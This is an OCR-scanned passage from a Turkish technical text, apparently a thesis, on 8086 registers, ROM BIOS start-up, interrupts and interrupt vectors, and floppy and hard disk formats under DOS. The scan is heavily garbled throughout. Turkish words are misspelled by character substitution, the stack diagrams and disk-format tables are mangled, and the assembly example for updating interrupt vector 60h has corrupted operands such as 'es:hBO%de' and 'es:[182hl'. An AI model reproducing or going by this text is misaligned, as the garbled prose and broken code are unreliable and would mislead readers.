cin, b8liim deferini paragraf olarak kullanir ve goreceli
adres degerini buna ekler. 8086 bu islemi yaparken gercek
te bOlim degerini dort bit sola kaydirir, yani dort ile
carpar ve daha sonra gbreceli adresi bu defere ekleyerek
20-bit genisligindeki bir adres elde eder.

2.7 8086 yazmaclari

8086 mikroisleyicisi komutlari icra etmek, aritmetik
ve mantiksal operasyonlari yliriitmek, ayni zamanda komutla-
r1 kabul etmek, bellefe verileri iletmek ya da  bellekten
verileri almak (okumak) icin tasarlanmistir. Biitiin bu is-
lerin istesinden gelmek iecin, igleyici asagida gdsterilen
cesitli her biri 16-bit’lik yazmaclari kullanmaktadir.[2]

B8 rakama ]
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2.7.1 Bayrak yazmacli

16=-bit’lik bayrak yazmaci (flags register) 8086 °nin
statiisii hakkindaki tiim bilgileri tutmaktadar, Asagidaki
gekil bunu gtstermektedir.(2]

Bayrak bit’leri

O= Overflow Flag T= Trap Flag A= Auxiliary Carry Flag
D= Direction Flag S= Sign thg P= Parity Flag
I= Interrupt Flag Z= Zero Flag C= Carry Flag

Sekil 2.3- 8086°nin Bayrak yazmaci

Sozgelimi, bir cikarma isleminin sonunda, sonucun si-
fir olup olmadigi kontrol edilmek isteniyorsa, Z bit’ine
bakmak yeterli olacaktir. Efer bu bit set edilmigse (abz
konusu bayrak 1 degerini almaissa), cikarma igsleminin sonun-
da liretilen deferin sifir oldufu neticesine varilacaktar.
Dijer bayraklar elde-var-bir (carry) ve tasma (overflow)
gibi bayraklar, aritmetiksel ve mantiksal operasyonlardan
sonra benzer sonuglar Uretmektedirler. (2] '

Bagka bayraklar 8086’nin operasyon modlarini denet-
lerler. Ornefin ytn (direction) bayrafi katar (string) ko-
mutlarinin hareket ybtniinil gdsterir. UOte taraftan kesme
bayrafi, dis donanimdan (klavye ve modem gibi) gelebilecek
sinyallere kargilik set edilerek, mikroigleyicinin cevre
aygitlara hizmet gdtirdigil anlagailir. Kapan (trap) bayra-
g1 sadece difer yazilimlari debug eden yazilimlar tarafin-
dan kullanilir,

Bayrak yazmaci ne dofrudan modifiye edilebilir ne de
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okunabilir. Bunun yerine, bu yazmac genelde zel komutlar
(CLD,STI ve CMC gibi) ve belirli bayraklari defigtirebilen
aritmetik ve mantiksal komutlar tarafindan denetlenmek-
tedir, Bununla birlikte, bayrak yazmaclarinin belirli bit’
leri JZ, RCR ve MOVSB gibi komutlarin operasyonlarini et-
kilemektedir. Bunun diginda bayrak yazmacl gercek bir sak-
lama lokasyonu olarak kullanilmamaktadir,

2,7.2 Genel-amacli yazmaclar

8086°nin sekiz adet genel-amagli yazmaci vardir. Bun-
laran her birisi 16-bit uzunlufundadir., Bu yazmaclar nere-
deyse biitiin komutlarin operasyonlarainda kullanildifi &zel
saklama bdlgeleridir. Stzii edilen komutlar, yazmaclari he-
saplamalari ve veri hareketlerinde kaynak ve hedef nokta o-
larak, bellek lokasyonlarini tespit etmede ya da sayac ola-
rak kullanarlar. Bununla birlikte, her dbir yazmacln da
kendine mahsus bir kullanim sekli vardir; buna ek olarak
genel-amac¢li ilk ddrt yazmacin her biri yillksek ve alcak se-
viyeli olmak #zere iki bicimde de kullanabilmektedir. Or-
nefin AX yazmaci AH ve AL diye iki ayri bilgi saklama biri-
‘mi olarak ele alinabilmektedir; AH yliksek seviyeli bayt ,
AL alcak seviyeli bayt olarak gtz oniinde bulundurulur. Bu
durum BX, CX, DX yazmaclari icin de gecerlidir.[2]

2.7.2.1 AX yazmaci

AX (Accumulator=Akimiilatdr) yazmaci Uzerinde aritme-
tik islemlerin gerceklestifi ana yazmagtir. Bu yazmaci
kullanarak her ne kadar toplama, cikarma, mantiksal ve ve-
ri hareketlerinde kullanmek olasi ise de carpma ve bilme
mutlaka AX veya AL’den yararlanilarak gerceklestirilmekte-
dir.{2]

2.7.2.2 BX yazmaci
BX (Base=Taban) yazmaci belirli bir bellek lokasyonu-

nu géstermesi icin bir gbsterge olarak kullanilabilir. Ay-
ni zamanda bd5limlUd bir adresin gdreceli adresini tutabilir,
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2.7.2.3 CX yazmaci

CX (Count=Sayac¢) yazmaci dongli denetlemelerinde ve
tekrarli veri tasinmalarinda (data moves) kullanilmaktadar,
Stzgelimi, LOOP komutu asseibly dilinde CX yazmacini bir
dizi iterasyonda sayag¢ olarak ele almaktadair.

2.7.2.4 DX yazmaci

DX (Data=Veri) yazmaci genel amaclar dogrultusunda ve-
rinin saklanmasi i¢in kullanabilir, TFakat bu 6zel iki kul-
lanimi vardir. Bunlardan ilki, IN (INput) ve OUT (OUTput)
komutlariyla bir I/0’nun kapi adresinin belirlenmesidir. I-
kincisi, bir bdlme igleminde DX'in kalani icerebilmesidir.

2,7.2.5 SI ve DI yazmaclari

SI ve DI yazmaglari sirasiyla kaynak (Source) ve he-
def indeks (Destination) olmak liizere genel-amacli veri ad-
reslemesinde kullanabilir. Fakat bunun yaninda herhangi
bir veri depolama yeri olarak ta ele alinabilir,

2.7.2.6 BP ve SP yazmaclari

BP ve SP (Base/Stack Pointer=Taban/Yigin Gbstergesi)
yazmaglari yigin(stack) yazmaclari olarak ta bilinirler.
BP yazmaci, BX, SI ve DI de oldufu gidi bir bellek gtster-
gesi olarak gbtrev yapabilir; fakat BX, SI ve DI yazmacla-
Tl normalde bellek gbstergeleri olarak vazife gdrdilklerin-
de, DS b5liim yazmacini rehber alirlar. Oysa BP yazmaci
58 yifin yazmacini rehber alir. SP yazmacli genel-amacli
yazmaclar arasinda en az genel amaclar igin'kullanllanx-
dir. Bunun sebebi bu yazmaca vakfedilen 5zel bir maksat-
tam dolayidir. SP yazmaci sadece yifin icersinde gtster-
ge odarak kullanilabilir. OUte yandan yigin &zel bir RAM
bdlgesidir. Bu bYlgenin korunmasini SP yazmaci iistlen-
mistir., Yifina bir PUSH komutuyla saklanmasi istenilen
veriler ve de Gzellikle alt yordamlardan,gaélran kod par-
¢casina geri dbniisi mimkiln kilacak adresler depolanir.[2]
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PUSH komutu ile yigina istiflenen program verileri ya da
adres deferleri, POP komutu yardimiyla en son giren en #n-
ce cikar (Last-in Firstiout/LIFO) manti¥ina gére program i-
¢inde gerekli yerlere tekrar iade edilirler (restore). Ve-
riler yifina PUSH edilirken, yiZin yilksek adresten alcak

adrese dofZru bliylimektedir. Bu durum verilerin POP edilme-
sinde tersine isler ve yifin tekrar yilksek adrese dogru u-
zanir; difer bir anlatimla eski konumuna geri ddner; asagL
daki sekil bunu daha belirgin bir bicimde gﬁsteriyariﬁ]

Yigin Yifin
taganx ~~"tabana
:1008 | SEOO :$1009 | SEOD
:1006 | 4D0O :1006 | 4DOO
i Yifain _ Baki yifan
$1004 | 300 {™ tepesi 21004 | 3C00 |™ tepesi
(SP=1004) F e ¢ y
————Tigin fepes
11002 11002 | 2800 (81,5,002)9
:1000 o : 1000
PUSH
a. Bir PUSH’dan Ynceki yifin b. Bir PUSH’dan sonraki yifin
Yi¥in
5 tabaniy
:1008 SE0Q
:1006 4D00
11004 | 3c00 “'—{:ﬁ";l
(SP=1004)
11002
$1000

-

POP
¢. Bir POP’dan sonraki yijfin

Sekil 2,4 - PUSH ve POP komutlarinin yafini kullanmalari
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2.7.3 Komut gistergesi

Komut gdstergesi yazmaci (IP=Instruction Pointer)program
sayaci olarak ta bilinir. Bu yazmac, kod bdlilmiin icersin-
de icta edilecek programin gdreceli adresini ihtiva eder.
Biylelikle CS ile birlikte kullanilan bu yazmac, bir son-
raki icra gBrecek komutun lokasyonunu belirlemektedir.{2)

2.7.4 B6lim yazmaclara

B6lUm yazmaglarinin (segment registers) her biri be-
lirli bir tiir adreslemede kullanilmaktadir. 2.6.,1°de &z
olarak anlatilanlar gtz tnlinde bulundurulursa bellefin ad-
reslenisli daha iyi anlagilacaktir. Bellek adreslenirken
iki tiir adresin kullanildifini biliyoruz. Buna gbre bel-
lekteki herhangi bir lokasyonu belirlerken, bdlilm yazmac-
larindan herhangi birini amaca uygun olarak sectikten son-
ra, 88zl gecen boliim yazmacinin igersinde yer alan bayt
ya da kelimelerin lokasyonlarini kesin bir bicimde tayin
edecek gdreceli adresi birlikte kullanarak, arzu edilen
verilere ulasmak milmkiin olur.

Bu iki pargali adresleme gemasi segment:offset sek-
linde gbsterilir. Dolayisiyla cift noktanin solundaki ad-
res deferini b5lim yYazmaclarindan herhangi birine, gorece-
1i adresi de yine BX, SI, DI veya BP yazmaclarandan biri-
ne yerlegtirerek, herhangi bir bellek lokasyonu veya hife- "~
resl tam bir sekilde belirlenebilir.

2.7.4.1 Kod b8limil yazmaca

Kod bdlimii yazmaci veya kisaca CS (Code segment) 64K’
lik bellek blofunun baglangicini gdstermektedir. Burada
bir sonra icra gbtrecek komut bulunmaktadir. Bir sonraki
adimda icra edilecek komut IP yazmaci tarafindan goreceli
olarak adreslenmistir. Bagka bir anlatimla islenecek ko-
mut CS:IP’de yer almaktadar,

2.7.4.2 Veri bslimii yazmaci
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Veri bdlimii yazmaci veya kisaca DS (Data segment)64K’
lik veri bdlimiiniin baglangicini gdstermektedir. Bir cak
bellek degiskeni burada yer almaktadir.

2.7.4.3 Ekstra b8liim yazmaci

Bu yazmac ya da kisaca ES (Extra segment) 64K’ 1lik ES
ile gtsterilen bdlimin baslangicina isaret eder. Bu bolim
belirli bir amaca hizmet etmez; fakat katar (string) is-
lemlerinde, katarlarin bir bellek bdlgesinden bagka bir
bellek bdlgesine tasinmasi gerektigi anlarda hedef bellek
bslgesi rolinil distlenir; DI yazmaci bu bdliimii rehber ala-
rak katari meydana getiren karakterleri -ES icersinde  ad-
resleyebilir,

2.7.4.4 Yifin bslimil yazmaci

Son olarak bu yazmac veya SS (Stack segment), SS'nin
64K"11k bellek blogunun baglangicini géstermektedir. SP
yazmacini zimnen kullanan tiim komutlar (PUSH, POP, CATL ve
RETurn’ler) SS'nin icinde iglem yapmaktalar; clinkii SP, bel~-
legi sadece yigin b6limii- icersinde adresleyebilecek kapa-
sitededir. (2]



3. ROM YAZILIMI

Bilgisayari ise kosan yazilaimdir. Ve bir bilgisayari
ise kosmak, onun calismasini siirdiirebilmek i¢in, yazilimi-
nin bir kismani: bilgisayarin icine siirekli olarak kalma-
81 icin yerlestirmek herhalde isgleri daha kolay kilacaktair,
Iste burada stzii edilen ROM programlaridir. ROM ( Read-
Only Memory) salt-okunur bellek anlamindadir; bilgisayarin
sahip oldugu ROM yongalarinin ic¢indeki devrelere devamla
halihazirda bulunacak sekilde kayit edilen bilgiler degis-
tirilemez, silinemez ve kayip edilmeleri sz konusu defil-
dir. (6]

PC ve PS/2’lerle birlikte gelen hatiri sayilabilirmik-
tardaki ROM, bilgisayarin ve ona ait cevre aygitlarinin is-
letilmelerini saglayan gerekli veri ve programlari icermek-
tedir. Bir bilgisayarin asal programlarinin ROM’a kayde-
dilmig olmasinin getirdigi avantaj, onlarin orada bulunma-
sidir, yani igersinde yerlesik olmasaindadar. Boylelikle
bu programlara ve verilere gereksinim duyuldufunda, disk-
ten bellege yllklenmesi gerekmeyecektir.

IBM PC’lerde ROM ile ilgi¥i dbrt unsur stz konusudur:
bilgisayarin isletilmesini saglayan calismayi-baslatma yor-
damlari; bilgisayarin operasyonlarini devam ettirmek icin
servis destegi saglayan makina-dili yordamlarindan meydana
gelmis bir koleksiyon olan ROM-BIOS (Basic Input/Output
System); BASIC programlama dilinin ¢ekirdegini  olusturan
ROM BASIC; ve nihayet ROM uzantilari, bunlar ana ROM’a ek-
lenen programlardir.

ROM programlarinin bilgisayar belleginde isgal ettifi
alan FOOO:0000H ile FOOO:FFFFH arasinda bulunmaktadir. Bu-
nunla birlikte, yordamlarin kendileri difer bilgisayarlar-
da oldugu gibi (IBM PC/XT/AT disindaki bilgisayarlarda )
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belirli ROM adreslerinde yer almazlar. Adresler, PC/XT/AT
ve PS/2 aileleri arasinda degisme gdsterir.

ROM’da yer alan yordamlarin adreslerinin kesin lokas-
yonlari belirli olmamasina ragmen, IBM, kesmeleri kullana-
rak ROM yazilimlariyla uygun bir arabirim olusturmaktadir,

3.1 Calismayi baslatan ROM programlari

ROM programlarinin ilk gorevi bilgisayara isletmeye
hazirlamak ve bu islemi denetlemektir. ROM un diger yb&n-
lerinden farkli olarak, calismayi-baslatma (Start-up) yor-
damlari PC ailesini programlamakla cok az bir ilgisi var-
dir. (6]

Calismayi-baglatma yordamlari farkli gérevleri icra
etmektedir:

(0 Her geyin diizenli olarak iglemesini temin et-
mek icin, ¢ok cabuk bir gekilde bilgisayarin
(ve ROM programlarinin) gliivenli olup olmama-
81 acisindan bir testini caligtirairlar.

0 Yongalari ve bilgisayara bagli bulunan stan-
dart donanimlari baslangic durumuna getirir-
ler.

O Kesme vektsr tablosunu kurarlar.

(J Hangi secimlik donaniminin bagli bulundugunu
denetlerler.

00 Diskten igletim sistemini yiiklerler.

Glivenlik testi, Sistem Acilisg Testi (POST-Power ...On
Self Test) isleminin bir parcasidir ve bilgisayari  hagzir
duruma getirmede ilk “nemli asamadir. Bellek testleri da-
sanda biitiin POST yordamlari 6z ve kisadar,

Baglangig-durumuna getirme islemi (initialization pro-
cess) biraz daha karmasiktir. Tek bir yordam daha Snceden
kabul edilmis kesme vektdrlerinin degerlerini hafizanin
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en basina yerlegtirir. Bu deferler dizisi ya ROM-BIOS’un
igeféinde bulunan kesme yordamlarini ya da bog yordamlari
gdasterirler. Bos yordamlar isletim sistemi tarafindan e-
le alinabilir veya kullanicinin kendi kesme yordamlari bun-
larin yerini alir, Bagka baslangi¢-durumuna getirme yor-
damlari, bilgisayara hangi donanimlarin baglandiZini be-
lirler ve bunlarin bir kayidini diisiilk seviyeli bellege kor.
Difer taraftan bu yordamlar, ROM’a eklentisi yapilabilecek
belli basli yeni donanim ve uzantilarain varligini saptaya-
cak bir dizi islemler icra ederler. ZEger boyle bir dona-
nim bulunacak olursa, kontrol ROM uzantilarina devredilir,
bu gekilde s6z konusu olabilecek donanim parcalari Kendi-
lerini baglangi¢ konumlarina ayarlamis olurlar.

Calismayir-baglatma islemlerinin POST testinden, bas-
langi¢-durumuna getirme isleminden, ROM uzantilarinin asil
ROM tarafindan algilanip kendi biinyesine alinmasindan son-
raki nihai kisim 8nylikleyici (bootstrapping) adini almak-
tadir. Bu kisa yordam, diskten bir programi bellege yiik-
lemektedir. Aslinda ROM dnylikleyicisi bir diskten acilis
(boot) programini okumayi tesebbiis etmektedir. Sayet aci~-
lis programi basariyla bellege okunmussa, ROM dnylikleyici-~
8l bilgisayarin denetimini ona devreder. Diskin acllis
programi bagska daha bliyllk bir disk programini, ki bu genel
de DOS gibi bir isletim sistemidir, yllklemekten sorumludur,
Efer ROM Onyilkleyicisi bir diskin acilis programinli okumak-
ta bagarili olamazsa ya yerlesik (built-in) ROM BASIC’i ak-
tive eder ya da disk acilis programinin bir hata ihtiva et-
mesi durumunda bir hata mesaji gorintiiler. Bu iki olaydan
birinin vuku bulmasi halinde, sistemin calismayi-baglatma
prosedlirleri sona erdirilir ve difger programlar yonetimi
ele gecirir,

3.2 ROM BIOS

ROM BIOS, ROM’un bir parcasi olup bilgisayar calistifi
siirece aktif durumdadir. ROM BIOS un rolii bilgisayaran
kendi operasyonlari icin gereksinim duydugu asal servisle-
ri saflamaktir. Genellikle bilgisayarin cevre aygitlarini
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denetler (gorintii ekrani, klavye ve disk siiriicliler gibi).
BIOS terimi en dar anlamiyla kullanildigi zaman, aygit de-
netleme programlarindan stz edilmis olur. Ornefin diskten
bir seyler oku tarzinda basit bir komutu icra edebilmek i-
¢in, gerekli adimlari iceren, hata tespiti yapan ve bunla-
ri diizelten programlari anmis oluruz. Genis anlamda ise
BIOS, sadece ¥C’nin aygitlarini denetlemek lizere gerekli
yordamlardan olusmaz, bunun yaninda bilgisayarin icsel ca-
lismasi hakkinda bilgi tutan ya da birtakim gtrevleri yeri-
ne getiren, bilgisayarin calismasinda esas olan, mesela gii-
niin saatini veren yordamlar da stz konusudur.[G]

Kavramsal olarak BIOS programlari RAM ve donanim ba-
zinda gerceklesecek programlar arasinda bulunmaktadir. Bu
anlamda BIOS iki ytnlud bir islemde iki tarafli olarak va-
zife gtrmektedir. Birinci y&nli standart ROM BIOS sérvis-
lerini icra etmek lizere programlardan gelen istekleri ka-
bul etmektir, Bir program, bir kesme ve servis}numaras; i-
le birlikte bu servislerden yardim ister. ROM BIOS un di-
ger yonil, bilgisayarin donanim aygitlariyla iletigim - kur-
masidir. Bu ydniiyle RCM BIOS ayni zamanda, bir aygitin di-
kkat cekmek {izere olusturdufu donanim kesmelerini de isle-
mektedir,

2.2.1 Kesmeler ve kesme vektdrleri

Kesmeler (Interrupts) bilgisayarin cok 8nemli bir yd-
niinid olugtururlar. Bunlarin sayesinde bilgisayarin dig o-
laylara yanit verebilmesi mimkin olmaktadir. Kesme ©Gzel-
ligi, bilgisayara o anda mesgul oldufu igi askiya almasina
ve kesmenin sebep oldufu seye yonelmesine olanak tanimak-
tadir. (8]

Intel 8086 mikroigleyici ailesini kullanan Dbilgisa-
yarlarda oldugu gibi, IBM PC ailesi de neredeyse biitiiniiy~
le donanim ve yazilim tarafindan liretilen kesmelerin (sin-
yallerin) kullanimi ile denetlenmektedir., Burada BIOS ser-
vis yordamlari bir istisna deéildir; her birine bir kesme
numarasl atanmis olup istenildigi zaman du numara INT
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komutuyla birlikte kullanilarak arzu edilen kesme-yordam
hizmeti cafrilabilmektedir,

Bir kesme meydana geldiginde, bilgisayarin denetimi
gofunlukla ROM sisteminde sakli bulunan bir kesme-yorda-
mina devredilir. Kesme yordaminin bdlim ve gdreceli ad-
resleri ilgili yazmaclara (CS ve IP) yilklenerek cagiril-

maktadir,

Kesme yordamlarin.in yerini saptayan bo1limlii

adreslere kesme vekttrleri denmektedir.

Sistemin calismayi-baslatma iglemi sirasainda BIOS,
RAM’1n en basina, 0000:0000H adresinden baslamak lizere ROV
daki kesme-yordamlarina isaret eden kesme vektdrlerini ku-
rar. Her bir adres girisi tabloda cift kelime olarak sak-
lidir; ilk kismi gdreceli adresi yani IP"yi, diger kismida
bdlim adresini yani CS’"yi icerir.

Bir kesme iUretilir iiretilmez asagidaki olaylar silsi-

lesi baslar:

1.)
2.)

3.)

4.)

50)

Bayrak yazmacinin icerigi yiZina konur.

Gerek kesme (1) gerekse kapan (T) bayragi te-
mizlenir. Bbylelikle ilerde olusabilecek bir
donanim kesmesi ve ayni zamanda da bir kapan
kesmesi (single-step interrupt) engellenmis o-
lacak.

Kod bdlimli yazmacinin icerifi (CS) yigina ko-
nur.

Komut géstergesi yazmacinin icerifi (IP) yigi-
na konur,

Kesme vektdrinlin icerifi veya deferi diistik bel~-
lekten alinarak gerek IP"ye gerekse CS'ye yer-
legtirilir. Bu sekilde bundan sonraki  komut
vektdr tarafindan adreslenen bellek lokasyonun
dan isletilmeye baslanar.(7]

Genelde bir kural olarak PC ailesi kesmeleri alti ka-
tegori altinda toplanabilir, Bunlar sirasiyla mikroisle-
yici, donanim, yazilim, DOS, BASIC ve genel kullanim kes-
meleridir, [€]
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3.2,1.1 Mikroisleyici kesmeleri

Mikroisleyicinin lirettigi bu tiir kesmeler mantiksal
kesmeler diyewde adlandirilir. Bu kesmelerin hepsi mik-
roigleyicinin icersinde gerc¢eklestirilmistir., Dort tane-
si (OOH, O1H, O3H ve 04H kesmeleri) mikroigleyicinin ken-
disi tarafindan iliretilir, digeri (C2H kesmesi) bvelirli do-
nanim aygitlari tarafindan liretilen bir sinyal yardimiyla
aktive edilir; sbdzgelimi 8087 matematik islemcisi bu tiir
bir sinyal {liretmektedir.

3.2.1.2 Donanim ve yazilim kesmeleri

Bu kesmeler PC donaniminin icersinde gerceklegtiril-
mistir. Bu sinifa giren kesmeler, mikroigleyiciye dona -
nimla ilgili olaylari haber vermektedir; Ornegin yazicida
kagidin kalmamasi veya disk islemlerinin bitirilmesi gibi.

Yazilim kesmeleri PC tasariminin blinyesine alinmis o-
lup ROM BIOS programlarinin bir parcasini tegkil ederler.
Bu kesmelerce yardimi istenen ROM BIOS ynrdamlari degisti-
rilemez, ancak bunlarin lokasyonlarini tespit eden kesme
vektdrlerinin deferleri defistirilebilir. Boylelikle bas- .
ka yordamlara gonderme yapmak milmkiindiir.

3.2.1.3 DOS kesmeleri

DOS igletim sistemiyle calisildifi siirece halihazirda
bulunan bu kesmeler, birgcok program ve programlama dilleri
tarafindan kullanilmaktadir. Gzellikle I/0 disk temel ope-
rasyonlari bu kesmelerin arasinda bilyilk bir role ve paya
sahiptir.

%.2.1.4 BASIC ve genel-kullanaim kesmeleri

BASIC kesmeleri, BASIC’in kendisi tarafindan tahsis
edilir ve BASIC kullanildifi siirece halihazirdadir.

Genel-kullanim kesmeleri kendi programlarinda
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kullanilmak Uzere programcilar tarafindan gecici olarak ta-
nimlanir.

3.2.2 Kesme vektdrlerinin degigtirilmesi

Kesme vektdrleri ile ilgili olarak programlamadaki me-
rak, onlari okumaktan cok yeni bir kesme yordamaina gonder-
me yapmak lizere degistirmektir. Bunu yapabilmek icin,stan-
dart ROM BIOS veya DOS kesmelerinin icra ettifi fonksiyon-
lardan farkli bir yordam yazilmasi, sonra bu kod parcasi-
nin RAM’da saklanmasi ve nihayet yordamin adresini tabloda
var olan bir kesme numarasina atanmasi ile milmkiin olur. [6]

Bir vektdr defistirilirken o anda bagka bir kesmenin
meydana gelme olasilifi vardir. Bu durum gz Oniine alina-
rak bir vektdri degistirmenin iki yolu mevcuttur. Birinci
yontem, islem sirasinda kesmeleri askiya almaktir; ikinci-
si, 6zellikle vektdr defZerlerini degistirmek icin tahsis e-
dilmis bir DOS kesmesinden yararlanmaktir. ’

Birinci ydntemde, kesme vektdriinii defistirme esnasin-
da olasi olusacak kesmeleri gtzardi etmek icin, birlesti-
rici dili (assembly language) kullanmak gerekmektedir.Kes-
meleri temizleyen CLI (Clear Interrupt) komutunu kullana-
rak mikroigleyicinin olasi bir kesmeyi dikkate almamasi
saglanir; bu durum, bu komutun ardindan STI (Set Interrupt
komutunu uygulayincaya degin siirer. Bir kesme vektdriinii
guinleme sirasinda gecici olarak kesmeleri girev disi ba-
rakmak, bir kesmenin meydana gelmemesini garanti eder.

Agagidaki 8rnek bir kesme vektoriiniin giinlenmesini gbs-
teriyor. Iki Mov komutuyla DS:DX'de yer alan bir kesme-
yordaminin bdlim ve gtreceli adresi kesme vektdrii 60H' ya
kopya edilmektedir:

Xor ax,ax ;ES bslim yazmacini
mov es,ax ;sifirla
cli skesmeleri gegersiz kil

mov word ptr es:hBO%de ;vektorin goreceli adr. giinle

mov word ptr es:[182hl,ds ;vektoriin bolim adr. ginle
sti ikesmeleri olanaklai kil
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Ikinei yontemde DOS bir kesme vektdrinil giinlemekte-
dir. Bunun icin 8zel hazirlanmig bir kesme mevcuttur.DOS,
bu kesmesini kullanarak istenen bir vektorii glinleyebilir:

mov dx,seg Int60Handler ;DS’ye yeni bsliimit

mov ds,dx kopyala
mov dx,offset Int60OHandler ;DX 'te gdreceli adr. sakla
mov al,60h sgiUnlenen kesme numarasi

mov ah,25h ; DOS kesme fonsiyonunu kur
int 21h ;DOS fonksiyon-cagirma kesmesi



4. DISKIN ESASLARI VE DOS

GiinUmiizde en yaygin bir bicimde kullanilan depolama
birimleri disketler (floppy disks) ve sabit disklerdir.
Disketler ve sabit diskler (fixed disk=hard disk) cok ce-
8itlilik arzeden bliyliklilk ve kapasitelerde olmalarina kar-
si1lik, hepsi de temelde ayni sekilde calismaktalar: bilgi
manyetik olarak sizii edilen depolama birimlerinin ylizeyle-
rine, disk siiriicii ve siirlicliyii kontrol eden yazilimain. Dbe-
lirledigi desenler (patterns) halinde gifrelenmektediriﬁ]

4,1 Disk veri haritalamasi

Bir diskin lizerinde yer alan verilerin organizasyonu-
nu anlayabilmek icin, diskin fiziksel yapisini ve diske ya~
z1p okuyan siiriicii mekanizmasini gtz Oniinde tutmak gerekir
ige disketlerle baslayalim, ancak hem disketler hem de sa-
bit diskler ayni temel geometriye sahiptir.[6]

Bir disket siiriici verileri, disket lizerine dijital ve-
rileri temsil eden manyetik olarak sifrelenmis desenleri o-
kuyarak ve yazarak kaydeder. Disketin her iki ylizii manye-
tik ortamla kapli oldugundan, kayit icin iki yiiz de kulla-
nilabilir, o

Bir disket siiriicii, disketi sabit hizda dbndiiren bir
motorla donatilmigtir., Slirlicii, disketin iki yliziine de yaz-
ma okuma yapabilmesi icin, iki adet yazma/okuma kafasina
sahiptir. Kafalarin bagli bulundugu bir kol, onlarin hep-
sini birden uyum icinde ya diskin merkezine dogru ya da bu-
na zit ydnde, yani merkezden cap doérultusunda uzaga hare-
ket ettirir. Kol, okuma/yazma kafalarini bu sekilde tasir-
ken verileri diskete kayit etmek icin, disketin ortamini
miknatislandirir; verileri bu ortamdan tekrar eldebilmek i-
cin, bu kez disket ortaminda yer alan manyetik olarak
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gifrelenmisg bilgileri desifre edebilmektedir.

Sabit diskin geometrisi bir disketinkine cok benzemek-
tedir., Sabit diskler disketlerden cok daha hizli
tedir, bu ylizden diskler, manyetik kapli metal veya camdan
liretilmektedir. Sabit diskler ayni zamanda birlikte donen
bir diskler yifinindan meydana geldiginden, bunlarin bir-
cok yazma/okuma kafalari vardir; her bir disk yiizeyine bir

tane diigmektedir.

4.1.1 Verilerin depolanmasi

Verilerin bir disket ya da sabit disk ilizerine harita~

lanig (kayit edilisi) bicimi, bu depolama birimlerinin sa-
hip olduklari geometrilerinden kaynaklanmaktadir.
bir okuma/yazma kafasi hareketsiz tutuldugunda, manyetik

ortamdan olusan bir halka ya da cember bu okuma/yazma kafa—

sinin altindan gececek sekilde diizenlenmistir,

Okuma/yaz-

ma kafasinin her bir konumuna karsilik gelen, lizerine

rilerin kayitedilebilecegi manyetik ortamdan olusan bu cem-—

berlere iz (track) denir.[6]

&\

.
7

N

e
N

Sekil 4.1- Bir disketin ic seometrisi
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Her disk izi 4K ya da daha fazla bilgi tutabildiZinden,her
bir 1z daha kiiclk bir dizi depolama birimlerine bdliniir,
Bu birimlere kesim (sector) adi verilmektedir. Her kesi-
min bilgi tutma kapasitesi aynidir; bu miktar genelde dis-
ket veya sabit diskler icin 512 bayttir. Kesim ve izler
ardisik olarak numaralandirilir; bdylelikle disk ylizeyinde
belirli bir bilgi bayti, bunun iz ve kesim numarasini be-
lirterek tespit edilebilir.

Cift yuzlii disket ya da sabit disklerin birden fazla
disk ylUzeyleri oldugu icin, bir bilgi baytinin yerini tes=
pit etmek icin {ic boyutlu diisiinmek gerekir. Bu sebeple sb-
zil edilen diskler i¢in okuma/yazma kafalarinin pozisyonu
bir silindir numarasiyla tanimlanmaktadir. Izlerde oldugu
gibi silindirler de ardisik olarak numaralandirilir. Bir
silindiri, okuma/yazma kafasinin verilen bir pozisyonunda
list iiste izlerden olusan bir yxélh olarak diisiinirsek, be=-
1irli bir izin lokasyonunu, silindir numarasi arti okuma/
yazma kafasini belirleyerek tespit edilecegi gorillecektir.

Bu hatirda tutularak PC ve PS/2’lerin disk siiriiciile-

rinde kullanilagelen disket formatlarinin cesitliliginden
bir anlam ¢ikarmak kolay olacaktir.

Tablo 4,1 -~ PC ve PS/2 disket formatlari

iz basina

Disk Kapasite Silindir kesim Kafalar
5.25" disket 160K 40 8 1
: 180K 40 9 1
320K 40 8 2
360K 40 9 2
. 1.2Mb 80 15 2
3.5" disket 720K 80 9 2
18 2

1.44Mb 80
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4.,1,2 Sistem baglatma diskleri

Biitiin disket ve diskler veri formatlari ne olursa ol-
sun bir sistemi baslatabilecek yani acabilecek kapasitede-
dirler; bu, diskin, bir isletim sistemini -bilgisayar acil
diginda- igletime sokabilmek igin gerekli bilgileri icer-
mekte olduZu anlamina gelmektedir. Bbylé disket ya da disk~
lere sistem baglatma diskleri ya da sistem acabilen disk-
ler (bootable disks) denmektedir. Sistem baglatma diskleri
icin 5zel bir formatlama s&z konusu defildir. Bu tir disk-
ler sadece ROM BIOS’a isletim sistemini calistirabilmesi i-
‘cin gerekli bilgiyi saglamaktadirlar. (6]

Tim PC ve PS/2"lerin disket ve sabit disklerindeki
ilk kesim -0O.silindir, O.kafa, 1.kesim- kisa bir acilis
programis icerir. Bu programin gtrevi, diskin herhangi bvir
yerinden isletim sisteminin biiylik bir kismini bellek icine
okumak ve denetimi igletim sistemine teslim etmektir.

Bilgisayar sogukken ya da sicak iken tekrar acildifin-
da, ROM BIOS tarafindan yliriitiilen son gdrevler disk acilis
kesimini bellefe okumak ve bunun icerifinin bir acilis
programini ihtiva edip étmedigini gosteren bir imzayi ara-
maktir., Bu imza stz konusu programin son iki baytinda yer
alir (55H ve AAH). Efer bu imzanin deferi gecersiz ise
BIOS, acilis kesiminde bSyle bir acilis programinin bulun-
madigini kabul edecektir.

Acilis programinin gorevi, isletim sistemini calaigti-
racak bir programin kopyasini diskten bellefe aktarmaktir.,
Igletim sistemini isleten bu tUr bir programin  biyiklug
ve lokasyonu icin bir sinir tayin edilmemistir.

4,2 DOS disk formatliari

Tablo 1°'deki disket formatlarindan daha farkli format-
lar da mevecuttur. Ancak tasinabilirlik 6n planda oldugun~
dan, DOS’un tanidifi disket formatlari tabloda listelenen-
lerle sinirla kalmaktadair. DOS’un ilk siirimleri sadece
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160K ve 320K formatlarini kullanabiliyordu. DOS‘un  daha
sonraki siiriimleri yiliksek kapasiteli disket formatlarini ta-
nimaya basladi ve bunlara sabit disk formatlari da eklendi.[6]

Tablo 4.2- Standart DOS disk formatlari

Disk Kapasite DOS siiriimii (version)
5.25" disket 160K 1.0
320K 1.1
180K 2.0
360K 2.0
1.2Mb 3.0
3.5" disket T20K 3.2
_ 1.44Mb 3.3
Sabit disk 2.0

Tablo 4.3= Bazi tipik sabit disk formatlari. Hepsi kesim
bagina 512 bayt kullanmaktadir.

iz vasina
Disk Kapasite Silindir kesim Kafa
Tipik PC/XT |
‘sabit diski 10Mb 306 V7 4
